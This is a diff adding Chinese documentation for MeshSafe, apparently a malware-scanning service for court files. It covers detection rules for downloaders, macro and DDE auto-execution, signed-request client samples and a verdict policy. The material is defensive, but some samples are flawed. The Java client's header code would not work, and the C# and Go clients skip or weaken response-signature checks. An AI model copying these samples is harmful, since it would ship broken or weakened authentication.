+| `PdfOpenAction` | high | PDF 定义了打开时自动执行的动作 | +| `PdfExternalUri` | medium | PDF 含外部 URI | +| `PdfEmbeddedFile` | high | PDF 内嵌文件 | +| `PdfEncrypted` | medium | PDF 已加密,无法完整静态分析 | +| `SuspiciousScript` | critical / high | 脚本含下载器、编码执行、关闭防护等可疑行为 | + +### 6.4 L2B YARA 与二进制层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `` | critical ~ low | 命中 YARA 规则 | +| `HighEntropySection` | medium | 节区熵值过高,可能加密或加壳 | +| `SuspiciousImports` | high | 导入表含高危 API | +| `UnsignedExecutable` | medium | 可执行文件未携带数字签名 | +| `SuspiciousTimestamp` | low | PE 编译时间戳异常 | +| `PeParseFailed` | medium | PE 结构解析失败 | + +--- + +## 7. 错误处理 + +### 7.1 HTTP 状态码 + +| 状态码 | 含义 | 调用方应对 | +|---|---|---| +| 200 | 成功 | 正常处理结论 | +| 400 | 请求参数错误 / 策略校验失败 | 检查请求,不要盲目重试 | +| 401 | 认证失败 | 检查签名实现与时间戳同步 | +| 403 | 权限不足 | 检查凭证角色 | +| 404 | 资源不存在 | 检查 task_id | +| 413 | 文件超限 | 缩小文件或走异步流程 | +| 429 | 触发限流 | 退避后重试,建议指数退避 | +| 500 | 服务内部错误 | 重试;持续失败则告警 | +| 503 | 服务不可用(引擎未就绪) | 退避重试 | + +### 7.2 错误响应格式 + +```json +{ + "detail": "认证失败" +} +``` + +### 7.3 重试策略建议 + +| 状态码 | 是否重试 | 建议 | +|---|---|---| +| 400 / 401 / 403 / 404 | 否 | 属调用方问题,重试无意义 | +| 413 | 否 | 需改变请求内容 | +| 429 | 是 | 退避 1s → 2s → 4s,最大 3 次 | +| 500 / 503 | 是 | 退避重试,最大 3 次;持续失败转人工 | + +> 网络超时导致的失败重试时,**必须更换 nonce 与时间戳**(见 §3.6)。 + +--- + +## 8. 接入示例 + +### 8.1 Python 完整实现 + +```python +import hashlib +import hmac +import json +import os +import time +import uuid + +import httpx + +EMPTY_SHA256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + + +def hkdf_sha256(ikm: bytes, salt: bytes, info: bytes, length: int = 32) -> bytes: + """HKDF-SHA256。RFC 5869,仅需 extract + expand 两步。""" + prk = hmac.new(salt, ikm, hashlib.sha256).digest() + okm = b"" + block = b"" + counter = 1 + while len(okm) < length: + block = hmac.new(prk, block + info + bytes([counter]), hashlib.sha256).digest() + okm += block + counter += 1 + return okm[:length] + + +def derive_key(secret: str, client_id: str, purpose: str) -> bytes: + return hkdf_sha256( + ikm=secret.encode("utf-8"), + salt=client_id.encode("utf-8"), + info=purpose.encode("utf-8"), + length=32, + ) + + +def canonical_query(params: dict) -> str: + if not params: + return "" + return "&".join(f"{k}={params[k]}" for k in sorted(params.keys())) + + +def build_multipart(file_bytes: bytes, filename: str, field_name: str = "file", + extra: dict | None = None) -> tuple[bytes, str]: + """手工构造 multipart 请求体,返回 (body_bytes, content_type)。 + + 必须手工构造,因为签名需要基于最终字节计算 body 哈希。 + """ + boundary = "----MeshSafeBoundary" + uuid.uuid4().hex + parts: list[bytes] = [] + + for key, value in (extra or {}).items(): + parts.append( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="{key}"\r\n\r\n' + f"{value}\r\n".encode("utf-8") + ) + + safe_name = filename.replace('"', "") + parts.append( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="{field_name}"; filename="{safe_name}"\r\n' + f"Content-Type: application/octet-stream\r\n\r\n".encode("utf-8") + ) + parts.append(file_bytes) + parts.append(f"\r\n--{boundary}--\r\n".encode("utf-8")) + + return b"".join(parts), f"multipart/form-data; boundary={boundary}" + + +def sign_headers(secret: str, client_id: str, method: str, path: str, + query: dict | None, body: bytes) -> dict: + ts = str(int(time.time())) + nonce = uuid.uuid4().hex + body_hash = hashlib.sha256(body).hexdigest() + qs = canonical_query(query or {}) + + payload = "\n".join([ + method.upper(), path, qs, body_hash, ts, nonce, client_id, + ]) + + key = derive_key(secret, client_id, "meshsafe/api/v1/request-signing") + signature = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest() + + return { + "X-MS-Client-Id": client_id, + "X-MS-Timestamp": ts, + "X-MS-Nonce": nonce, + "X-MS-Body-SHA256": body_hash, + "X-MS-Signature": signature, + } + + +def verify_response(secret: str, client_id: str, body: bytes, + timestamp: str, signature: str) -> bool: + """校验响应签名。返回 False 表示结论不可信,必须拒绝使用。""" + key = derive_key(secret, client_id, "meshsafe/api/v1/response-signing") + payload = hashlib.sha256(body).hexdigest() + timestamp + expected = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest() + return hmac.compare_digest(expected, signature) + + +class MeshSafeClient: + def __init__(self, base_url: str, client_id: str, secret: str, + verify_tls: bool = True, timeout: float = 120.0): + self.base_url = base_url.rstrip("/") + self.client_id = client_id + self.secret = secret + self._client = httpx.Client(verify=verify_tls, timeout=timeout) + + def scan(self, file_bytes: bytes, filename: str, + channel: str = "default") -> dict: + body, content_type = build_multipart( + file_bytes, filename, extra={"channel": channel} + ) + path = "/api/v1/scans" + headers = sign_headers( + self.secret, self.client_id, "POST", path, None, body + ) + headers["Content-Type"] = content_type + + resp = self._client.post( + self.base_url + path, content=body, headers=headers + ) + + # 响应验签:不可省略 + resp_ts = resp.headers.get("X-MS-Response-Timestamp", "") + resp_sig = resp.headers.get("X-MS-Response-Signature", "") + if not resp_ts or not resp_sig: + raise RuntimeError("响应缺少签名头,拒绝使用该结论") + if not verify_response( + self.secret, self.client_id, resp.content, resp_ts, resp_sig + ): + raise RuntimeError("响应签名校验失败,拒绝使用该结论") + + resp.raise_for_status() + return resp.json() + + def poll(self, task_id: str, interval: float = 2.0, timeout: float = 600.0) -> dict: + path = f"/api/v1/scans/{task_id}" + deadline = time.time() + timeout + while time.time() < deadline: + headers = sign_headers( + self.secret, self.client_id, "GET", path, None, b"" + ) + resp = self._client.get(self.base_url + path, headers=headers) + resp.raise_for_status() + data = resp.json() + if data.get("status") in {"completed", "failed"}: + return data + time.sleep(interval) + raise TimeoutError(f"任务 {task_id} 超时") + + +# 使用示例 +if __name__ == "__main__": + client = MeshSafeClient( + base_url="https://meshsafe.internal", + client_id="duandao-system-a", + secret="<你的 secret>", + ) + + with open("起诉状.docx", "rb") as fh: + data = fh.read() + + result = client.scan(data, "起诉状.docx", channel="court_docs") + + if result.get("status") != "completed": + result = client.poll(result["task_id"]) + + print(result["action"], result["reason"]) +``` + +### 8.2 Java 示例 + +```java +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.net.URI; +import java.net.http.*; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.time.Instant; +import java.util.*; +import java.util.UUID; + +public class MeshSafeClient { + + private static byte[] hkdfSha256(byte[] ikm, byte[] salt, byte[] info, int length) { + try { + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(salt, "HmacSHA256")); + byte[] prk = mac.doFinal(ikm); + + byte[] okm = new byte[length]; + byte[] block = new byte[0]; + int counter = 1; + int offset = 0; + while (offset < length) { + mac.init(new SecretKeySpec(prk, "HmacSHA256")); + mac.update(block); + mac.update(info); + mac.update(new byte[]{(byte) counter}); + block = mac.doFinal(); + int n = Math.min(block.length, length - offset); + System.arraycopy(block, 0, okm, offset, n); + offset += n; + counter++; + } + return okm; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private static byte[] deriveKey(String secret, String clientId, String purpose) { + return hkdfSha256( + secret.getBytes(StandardCharsets.UTF_8), + clientId.getBytes(StandardCharsets.UTF_8), + purpose.getBytes(StandardCharsets.UTF_8), + 32); + } + + private static String sha256Hex(byte[] data) throws Exception { + MessageDigest md = MessageDigest.getInstance("SHA-256"); + return hex(md.digest(data)); + } + + private static String hex(byte[] bytes) { + StringBuilder sb = new StringBuilder(bytes.length * 2); + for (byte b : bytes) sb.append(String.format("%02x", b)); + return sb.toString(); + } + + private static String hmacHex(byte[] key, String message) throws Exception { + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(key, "HmacSHA256")); + return hex(mac.doFinal(message.getBytes(StandardCharsets.UTF_8))); + } + + static Map signHeaders( + String secret, String clientId, String method, String path, + String query, byte[] body) throws Exception { + + String ts = String.valueOf(Instant.now().getEpochSecond()); + String nonce = UUID.randomUUID().toString().replace("-", ""); + String bodyHash = sha256Hex(body); + + String payload = String.join("\n", + method.toUpperCase(), path, query == null ? "" : query, + bodyHash, ts, nonce, clientId); + + byte[] key = deriveKey(secret, clientId, "meshsafe/api/v1/request-signing"); + String signature = hmacHex(key, payload); + + Map headers = new HashMap<>(); + headers.put("X-MS-Client-Id", clientId); + headers.put("X-MS-Timestamp", ts); + headers.put("X-MS-Nonce", nonce); + headers.put("X-MS-Body-SHA256", bodyHash); + headers.put("X-MS-Signature", signature); + return headers; + } + + public static void main(String[] args) throws Exception { + String baseUrl = "https://meshsafe.internal"; + String clientId = "duandao-system-a"; + String secret = "<你的 secret>"; + + byte[] fileBytes = java.nio.file.Files.readAllBytes( + java.nio.file.Path.of("起诉状.docx")); + + // 手工构造 multipart + String boundary = "----MeshSafeBoundary" + UUID.randomUUID().toString().replace("-", ""); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bos.write(("--" + boundary + "\r\n" + + "Content-Disposition: form-data; name=\"file\"; filename=\"doc.docx\"\r\n" + + "Content-Type: application/octet-stream\r\n\r\n").getBytes(StandardCharsets.UTF_8)); + bos.write(fileBytes); + bos.write(("\r\n--" + boundary + "--\r\n").getBytes(StandardCharsets.UTF_8)); + byte[] body = bos.toByteArray(); + + Map headers = signHeaders( + secret, clientId, "POST", "/api/v1/scans", "", body); + headers.put("Content-Type", "multipart/form-data; boundary=" + boundary); + + HttpClient http = HttpClient.newHttpClient(); + HttpRequest req = HttpRequest.newBuilder() + .uri(URI.create(baseUrl + "/api/v1/scans")) + .header("Content-Type", headers.get("Content-Type")) + .POST(HttpRequest.BodyPublishers.ofByteArray(body)) + .build(); + headers.forEach((k, v) -> { if (!k.equals("Content-Type")) req.headers().set(k, v); }); + + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofByteArray()); + System.out.println(new String(resp.body(), StandardCharsets.UTF_8)); + } +} +``` + +### 8.3 C# 示例 + +```csharp +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.Http; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +public class MeshSafeClient +{ + private readonly string _baseUrl; + private readonly string _clientId; + private readonly string _secret; + private readonly HttpClient _http; + + public MeshSafeClient(string baseUrl, string clientId, string secret) + { + _baseUrl = baseUrl.TrimEnd('/'); + _clientId = clientId; + _secret = secret; + _http = new HttpClient(); + } + + private static byte[] HkdfSha256(byte[] ikm, byte[] salt, byte[] info, int length) + { + using var hmac = new HMACSHA256(salt); + byte[] prk = hmac.ComputeHash(ikm); + + using var expand = new HMACSHA256(prk); + var okm = new byte[length]; + byte[] block = Array.Empty(); + int counter = 1, offset = 0; + + while (offset < length) + { + var input = block.Concat(info).Concat(new[] { (byte)counter }).ToArray(); + block = expand.ComputeHash(input); + int n = Math.Min(block.Length, length - offset); + Array.Copy(block, 0, okm, offset, n); + offset += n; + counter++; + } + return okm; + } + + private byte[] DeriveKey(string purpose) => + HkdfSha256( + Encoding.UTF8.GetBytes(_secret), + Encoding.UTF8.GetBytes(_clientId), + Encoding.UTF8.GetBytes(purpose), + 32); + + private static string Sha256Hex(byte[] data) => + Convert.ToHexString(SHA256.HashData(data)).ToLowerInvariant(); + + private static string HmacHex(byte[] key, string message) + { + using var hmac = new HMACSHA256(key); + return Convert.ToHexString( + hmac.ComputeHash(Encoding.UTF8.GetBytes(message))).ToLowerInvariant(); + } + + private Dictionary SignHeaders( + string method, string path, string query, byte[] body) + { + string ts = DateTimeOffset.UtcNow.ToUnixTimeSeconds().ToString(); + string nonce = Guid.NewGuid().ToString("N"); + string bodyHash = Sha256Hex(body); + string qs = query ?? ""; + + string payload = string.Join("\n", + method.ToUpper(), path, qs, bodyHash, ts, nonce, _clientId); + + string signature = HmacHex( + DeriveKey("meshsafe/api/v1/request-signing"), payload); + + return new Dictionary + { + ["X-MS-Client-Id"] = _clientId, + ["X-MS-Timestamp"] = ts, + ["X-MS-Nonce"] = nonce, + ["X-MS-Body-SHA256"] = bodyHash, + ["X-MS-Signature"] = signature, + }; + } + + public async Task ScanAsync(byte[] fileBytes, string filename) + { + string boundary = "----MeshSafeBoundary" + Guid.NewGuid().ToString("N"); + using var ms = new MemoryStream(); + var head = Encoding.UTF8.GetBytes( + $"--{boundary}\r\n" + + $"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n" + + "Content-Type: application/octet-stream\r\n\r\n"); + ms.Write(head); + ms.Write(fileBytes); + ms.Write(Encoding.UTF8.GetBytes($"\r\n--{boundary}--\r\n")); + byte[] body = ms.ToArray(); + + var headers = SignHeaders("POST", "/api/v1/scans", "", body); + + using var req = new HttpRequestMessage(HttpMethod.Post, $"{_baseUrl}/api/v1/scans"); + req.Content = new ByteArrayContent(body); + req.Content.Headers.TryAddWithoutValidation( + "Content-Type", $"multipart/form-data; boundary={boundary}"); + foreach (var kv in headers) + req.Headers.TryAddWithoutValidation(kv.Key, kv.Value); + + var resp = await _http.SendAsync(req); + resp.EnsureSuccessStatusCode(); + return await resp.Content.ReadAsStringAsync(); + } +} +``` + +### 8.4 Go 示例 + +```go +package meshsafe + +import ( + "bytes" + "crypto/hmac" + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + "net/http" + "net/textproto" + "sort" + "strings" + "time" +) + +// hkdfSHA256 实现 RFC 5869 的 HKDF-SHA256。 +func hkdfSHA256(ikm, salt, info []byte, length int) []byte { + extractor := hmac.New(sha256.New, salt) + extractor.Write(ikm) + prk := extractor.Sum(nil) + + var okm []byte + var block []byte + for counter := byte(1); len(okm) < length; counter++ { + h := hmac.New(sha256.New, prk) + h.Write(block) + h.Write(info) + h.Write([]byte{counter}) + block = h.Sum(nil) + okm = append(okm, block...) + } + return okm[:length] +} + +func deriveKey(secret, clientID, purpose string) []byte { + return hkdfSHA256( + []byte(secret), + []byte(clientID), + []byte(purpose), + 32, + ) +} + +func sha256Hex(data []byte) string { + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]) +} + +func hmacHex(key []byte, message string) string { + mac := hmac.New(sha256.New, key) + mac.Write([]byte(message)) + return hex.EncodeToString(mac.Sum(nil)) +} + +// SignHeaders 生成请求签名头。 +func SignHeaders(secret, clientID, method, path, query string, body []byte) map[string]string { + ts := fmt.Sprintf("%d", time.Now().Unix()) + nonce := fmt.Sprintf("%032x", time.Now().UnixNano()) + + bodyHash := sha256Hex(body) + + payload := strings.Join([]string{ + strings.ToUpper(method), path, query, bodyHash, ts, nonce, clientID, + }, "\n") + + signature := hmacHex( + deriveKey(secret, clientID, "meshsafe/api/v1/request-signing"), + payload, + ) + + return map[string]string{ + "X-MS-Client-Id": clientID, + "X-MS-Timestamp": ts, + "X-MS-Nonce": nonce, + "X-MS-Body-SHA256": bodyHash, + "X-MS-Signature": signature, + } +} + +// Scan 提交文件扫描。 +func Scan(baseURL, clientID, secret string, fileName string, fileBytes []byte) ([]byte, error) { + var buf bytes.Buffer + boundary := "----MeshSafeBoundary" + fmt.Sprintf("%032x", time.Now().UnixNano()) + + buf.WriteString("--" + boundary + "\r\n") + buf.WriteString("Content-Disposition: form-data; name=\"file\"; filename=\"" + fileName + "\"\r\n") + buf.WriteString("Content-Type: application/octet-stream\r\n\r\n") + buf.Write(fileBytes) + buf.WriteString("\r\n--" + boundary + "--\r\n") + + body := buf.Bytes() + path := "/api/v1/scans" + + headers := SignHeaders(secret, clientID, "POST", path, "", body) + + req, err := http.NewRequest(http.MethodPost, baseURL+path, bytes.NewReader(body)) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", "multipart/form-data; boundary="+boundary) + for k, v := range headers { + req.Header.Set(k, v) + } + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + + // 响应验签 + if ts := resp.Header.Get("X-MS-Response-Timestamp"); ts != "" { + sig := resp.Header.Get("X-MS-Response-Signature") + expected := hmacHex( + deriveKey(secret, clientID, "meshsafe/api/v1/response-signing"), + sha256Hex(respBody)+ts, + ) + if !hmac.Equal([]byte(expected), []byte(sig)) { + return nil, fmt.Errorf("响应签名校验失败") + } + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("接口返回 %d: %s", resp.StatusCode, string(respBody)) + } + return respBody, nil +} + +// canonicalQuery 按 key 升序生成查询串,供 GET 请求签名使用。 +func canonicalQuery(params map[string]string) string { + if len(params) == 0 { + return "" + } + keys := make([]string, 0, len(params)) + for k := range params { + keys = append(keys, k) + } + sort.Strings(keys) + parts := make([]string, 0, len(keys)) + for _, k := range keys { + parts = append(parts, k+"="+params[k]) + } + return strings.Join(parts, "&") +} + +var _ = textproto.MIMEHeader{} +``` + +--- + +## 9. 附录 + +### 9.1 快速排查清单 + +对接出现问题时,按此顺序检查: + +| # | 检查项 | 常见错误 | +|---|---|---| +| 1 | 系统时钟同步 | 服务器与调用方时钟偏差超过 300 秒 | +| 2 | 签名密钥派生 | 直接用 `secret` 做 HMAC 密钥,未做 HKDF 派生 | +| 3 | 待签名串顺序 | 各部分顺序或分隔符不符 | +| 4 | 换行符 | 使用了 `\r\n` 而非 `\n` | +| 5 | 十六进制大小写 | 输出了大写 hex | +| 6 | body 哈希 | 用 `files=` 自动构造 multipart,未基于最终字节计算 | +| 7 | nonce 复用 | 重试时沿用了同一个 nonce | +| 8 | PATH 取值 | 包含了域名或查询串 | +| 9 | 响应验签 | 验签时用了请求签名密钥而非响应签名密钥 | +| 10 | 密钥编码 | secret 前后有多余空格 | + +### 9.2 术语 + +| 术语 | 说明 | +|---|---| +| 摆渡 | 通过光闸在内外网之间传输文件 | +| 结论文本 | 一次检测的最终判定结果 | +| findings | 一次检测中命中的全部信号明细 | +| verdict | 总体判定(clean / suspicious / malicious / error) | +| action | 处置建议(pass / pass_with_flag / manual_review / reject) | +| 幂等 | 同一文件哈希与同一策略版本只检测一次,重复请求直接复用结果 | + +### 9.3 联系方式 + +| 事项 | 联系 | +|---|---| +| 凭证申请与轮换 | 系统管理员 | +| 策略调整 | 安全管理员 | +| 接口异常与故障 | 运维值班 | + +--- + +**文档结束** · 配套文档:《策略配置说明》《等保三级对照表》《运维手册》 diff --git a/docs/策略配置说明.md b/docs/策略配置说明.md new file mode 100644 index 0000000..85abdb7 --- /dev/null +++ b/docs/策略配置说明.md @@ -0,0 +1,459 @@ +# MeshSafe 策略配置说明 + +| 项目 | 内容 | +|---|---| +| 适用对象 | 安全管理员、系统管理员 | +| 配置文件 | `config/policy.yaml` | +| 生效方式 | 修改后调用 `POST /api/v1/policies/reload` 或重启服务 | +| 文档版本 | v1.0 | + +--- + +## 目录 + +1. [配置总览](#1-配置总览) +2. [字段详解](#2-字段详解) +3. [裁决流程](#3-裁决流程) +4. [调整场景手册](#4-调整场景手册) +5. [校验与错误处理](#5-校验与错误处理) +6. [变更管理](#6-变更管理) + +--- + +## 1. 配置总览 + +策略文件采用 YAML 格式,路径由环境变量 `MESHSAFE_POLICY_FILE` 指定(默认 `/app/config/policy.yaml`)。 + +**核心原则:策略与代码分离。** 调整判定规则、阈值、白名单只需修改本文件,不需要重新构建或发布镜像。 + +```yaml +version: "2026.10.1" +description: "MeshSafe 默认全局策略(法院文书摆渡场景)" + +global: + block_score: 70 + review_score: [30, 70] + engine_failure_mode: fail_closed + max_file_size: 52428800 + sync_max_size: 52428800 + allow_encrypted_archive: false + allow_encrypted_document: false + +allowed_extensions: [ ... ] +sandbox_required_extensions: [ ... ] +rule_overrides: { ... } +notification: { ... } +audit: { ... } +``` + +### 顶层结构 + +| 键 | 类型 | 必填 | 说明 | +|---|---|---|---| +| `version` | string | 是 | 策略版本号,建议用日期格式。写入每条扫描结果 | +| `description` | string | 否 | 策略说明 | +| `global` | map | 是 | 全局阈值与行为开关 | +| `allowed_extensions` | list | 是 | 允许传输的扩展名白名单 | +| `sandbox_required_extensions` | list | 否 | 强制走沙箱深检的类型 | +| `rule_overrides` | map | 否 | 特定规则的强制处置 | +| `notification` | map | 否 | 判定理由的输出控制 | +| `audit` | map | 否 | 审计记录内容控制 | + +--- + +## 2. 字段详解 + +### 2.1 global + +#### 2.1.1 `block_score` + +| 项 | 说明 | +|---|---| +| 类型 | 整数,0~100 | +| 默认 | `70` | +| 含义 | 风险评分 **≥ 此值** 时判定为 `malicious`,处置动作为 `reject` | + +调整方向:调低 → 更严格(更多文件被拒),调高 → 更宽松(需积累更多信号才拒绝)。 + +> 注意:单条 `critical` 级信号通常权重已达 50~90,因此 `block_score` 低于 50 时,大量正常文档会因多条低级信号叠加被拒。 + +#### 2.1.2 `review_score` + +| 项 | 说明 | +|---|---| +| 类型 | 数组 `[下界, 上界]` | +| 默认 | `[30, 70]` | +| 含义 | 评分落在该区间时判定为 `suspicious`,处置动作为 `manual_review`(转人工复核) | + +**这是误报缓冲的关键参数。** 调整方向:调低下界 → 更多文件进入人工复核(更安全但人工压力大);调高下界 → 更少人工复核(但风险文件可能被直接放行)。 + +#### 2.1.3 `engine_failure_mode` + +| 项 | 说明 | +|---|---| +| 类型 | 字符串 `fail_closed` / `fail_open` | +| 默认 | `fail_closed` | +| 含义 | 检测引擎不可用时的整体行为 | + +| 取值 | 行为 | 适用 | +|---|---|---| +| `fail_closed` | 直接拒绝,并说明引擎不可用 | **生产环境必须使用此项** | +| `fail_open` | 放行但标记 | 仅限测试环境 | + +> 等保三级要求"安全优先",生产环境使用 `fail_open` 会在测评时被判定为不符合项。 + +#### 2.1.4 `max_file_size` + +| 项 | 说明 | +|---|---| +| 类型 | 整数(字节) | +| 默认 | `52428800`(50 MB) | +| 含义 | 单文件大小上限。超限直接拒绝 | + +#### 2.1.5 `sync_max_size` + +| 项 | 说明 | +|---|---| +| 类型 | 整数(字节) | +| 默认 | `52428800`(50 MB) | +| 含义 | 同步模式处理的文件大小上限。超限转异步 | + +必须 ≤ `max_file_size`。若大于,则会出现"文件本身允许但无法同步处理"的中间态。 + +#### 2.1.6 `allow_encrypted_archive` / `allow_encrypted_document` + +| 项 | 说明 | +|---|---| +| 类型 | 布尔 | +| 默认 | `false` | +| 含义 | 是否允许加密的压缩包 / 加密的文档 | + +加密文件无法被静态分析,**在无法确认内容安全的前提下不应放行**。确需放行时,应配合人工复核流程。 + +### 2.2 allowed_extensions + +允许传输的扩展名白名单。 + +```yaml +allowed_extensions: + - .docx + - .pdf + - .xlsx + - .jpg + - .png + - .zip +``` + +规则: + +- 必须以 `.` 开头(小写),否则加载校验失败 +- 比较时统一转小写,配置中的大写会被拒绝 +- **列表为空表示不限制**,生产环境强烈不建议 +- 只校验**顶层文件**的扩展名;归档内的子文件由各自规则判定(受 `rule_overrides` 控制) + +> 白名单是第一道也是最粗的一道防线。它挡不住"扩展名正确但内容是恶意"的攻击——那是 L1/L2 层的职责。 + +### 2.3 sandbox_required_extensions + +强制走沙箱异步深检的扩展名。 + +```yaml +sandbox_required_extensions: + - .exe + - .msi + - .js + - .vbs + - .iso +``` + +**当前版本(P3 一期)沙箱未实现**,配置此项的效果是:命中的文件会走异步模式,并在 `meta` 中标注需要深检。P4 阶段接入 CAPE 后无需修改本项。 + +### 2.4 rule_overrides + +特定规则的强制处置。**这是绕过评分直接裁决的能力**,用于把"一票否决"型规则固化下来。 + +```yaml +rule_overrides: + MRaptorAutoExecSuspicious: + action: reject + reason: "文档宏具备自动执行且包含可疑行为,按策略直接拒绝" + DDEAutoExecution: + action: reject + reason: "检测到 DDE/DDEAUTO 自动执行字段,按策略直接拒绝" +``` + +| 字段 | 说明 | +|---|---| +| `action` | 处置动作,见下表 | +| `reason` | 判定理由,可直接展示给用户(支持中文) | + +**action 取值** + +| 取值 | 行为 | +|---|---| +| `pass` | 放行 | +| `pass_with_flag` | 放行并标记 | +| `manual_review` | 转人工复核(同时把评分提升至 65,确保落入复核区间) | +| `reject` | 拒绝 | +| `reject_and_notify` | 拒绝并通知(当前实现等同 `reject`) | + +**生效逻辑** + +1. 命中 `rule_overrides` 的规则会**优先于评分**处理 +2. 若 `action` 为 `reject` 类 → 立即返回拒绝结论,不再累加评分 +3. 若 `action` 为 `manual_review` → 评分提升至 65 并继续后续裁决 + +**为什么用覆盖而不是纯评分**:像 `PathTraversal`、`DDEAutoExecution` 这类信号,一旦出现就足以判定不可放行,不应依赖其他信号累加来"凑够"阈值。 + +> 规则名必须与《接口文档》§6 中的 `rule` 字段完全一致,包括大小写。写错不会报错,只是永不生效——因此**每次修改后应实际测试验证**。 + +### 2.5 notification + +```yaml +notification: + include_reason: true + max_reason_length: 500 +``` + +| 字段 | 说明 | +|---|---| +| `include_reason` | 是否在结果中返回判定理由。关闭后 `reason` 为空字符串 | +| `max_reason_length` | 理由最大长度,超出截断(末尾加 `...`) | + +> `include_reason` 只影响**返回给调用方的内容**,不影响审计日志。审计日志始终记录完整信息。 + +### 2.6 audit + +```yaml +audit: + log_findings: true + log_extracted_paths: true +``` + +| 字段 | 说明 | +|---|---| +| `log_findings` | 审计日志中是否记录命中的规则明细 | +| `log_extracted_paths` | 是否记录归档内提取出的文件路径 | + +关闭 `log_findings` 可显著降低审计日志体积,代价是事后无法还原"当初为什么判定为恶意"。**建议保持开启**。 + +--- + +## 3. 裁决流程 + +``` + ┌─────────────────────────┐ + 检测信号 ────────▶│ 步骤 1:引擎可用性检查 │──▶ 引擎不可用 → fail_closed 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 2:文件大小检查 │──▶ 超限 → 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 3:扩展名白名单 │──▶ 不在清单 → 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 4:加密文件检查 │──▶ 加密且不允许 → 拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 5:规则覆盖匹配 │──▶ 命中 reject 类 → 立即拒绝 + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 6:权重累加评分 │ + └─────────────────────────┘ + │ + ▼ + ┌─────────────────────────┐ + │ 步骤 7:阈值映射处置 │ + └─────────────────────────┘ +``` + +### 3.1 评分计算 + +``` +score = min(Σ(命中信号的 weight), 100) +``` + +已被 `rule_overrides` 处理的信号不重复累加。 + +### 3.2 阈值映射 + +| 评分区间 | verdict | action | +|---|---|---| +| `score == 0` | `clean` | `pass` | +| `0 < score < review_low` | `suspicious` | `pass_with_flag` | +| `review_low ≤ score < block_score` | `suspicious` | `manual_review` | +| `score ≥ block_score` | `malicious` | `reject` | + +### 3.3 权重来源 + +| 层级 | 典型权重 | +|---|---| +| L0 结构层 | 10 ~ 50 | +| L1 ClamAV | 25 ~ 90 | +| L2 文档深度 | 15 ~ 80 | +| L2B YARA / 二进制 | 10 ~ 85 | + +权重定义在各检测引擎内部,调整权重要改代码——**因此优先用 `rule_overrides` 表达策略意图**,而不是频繁改权重。 + +--- + +## 4. 调整场景手册 + +### 4.1 场景:误报过多,业务被阻塞 + +**症状**:大量正常文档被判为 `manual_review` 或 `reject`。 + +**排查步骤** + +1. 查审计日志,找出被拒文件的命中规则 +2. 判断是哪条规则在误报 + +**处理方式** + +| 误报来源 | 处理 | +|---|---| +| 某条规则过于敏感 | 用 `rule_overrides` 将该规则降级为 `pass_with_flag`,并改写 `reason` 说明 | +| 阈值过低 | 提高 `review_score` 下界,或提高 `block_score` | +| 白名单缺少某类型 | 在 `allowed_extensions` 补充 | +| 正常文件确实含宏(如模板文件) | 用 `rule_overrides` 对特定规则放行,**但需评估该文件是否会成为攻击载体** | + +> 建议不要直接调高 `block_score`——那会让真正的恶意文件更容易通过。优先降级具体规则。 + +### 4.2 场景:漏报,需要提升严格度 + +| 措施 | 配置 | +|---|---| +| 降低复核门槛 | 调低 `review_score` 下界 | +| 直接提高拒绝门槛 | 调低 `block_score` | +| 某类风险必须拦截 | 在 `rule_overrides` 中加 `reject` | +| 禁用某类可执行文件 | 确认 `allowed_extensions` 中不含该类型 | +| 加密文件也拦截 | 保持 `allow_encrypted_*` 为 `false` | + +### 4.3 场景:新增业务通道,需要独立策略 + +**当前版本为全局单策略。** 如需按通道区分,两种做法: + +**做法 A(不推荐,需改代码)**:在策略中引入 `channels` 段,裁决时按 `channel` 取对应子策略。 + +**做法 B(推荐,零代码改动)**:在摆渡系统侧做分流。摆渡系统按通道自行维护白名单,检测服务只做统一的恶意性判定。 + +> 本期方案已确认采用全局策略。通道字段贯穿全链路(数据库、审计日志、API),后续扩展无需重构。 + +### 4.4 场景:允许某类加密文件 + +```yaml +global: + allow_encrypted_document: true +``` + +**同时必须配套**:加密文件无法静态检测,风险由人工复核承担。建议同时把该类文件的处置设为 `manual_review`: + +```yaml +rule_overrides: + PdfEncrypted: + action: manual_review + reason: "PDF 已加密,无法自动检测,转人工复核" +``` + +### 4.5 场景:新增一种文件类型要放行 + +1. 在 `allowed_extensions` 补充扩展名 +2. 确认该类型没有对应的深度检测引擎(否则即使放行也只是"未检测",不是"已检测通过") +3. 若该类型有特殊风险(如脚本类),评估是否需要新增检测规则 + +--- + +## 5. 校验与错误处理 + +### 5.1 加载时校验项 + +策略文件在加载时执行严格校验,**任一项不通过则拒绝加载并保留原有策略**: + +| 校验项 | 规则 | +|---|---| +| 根节点类型 | 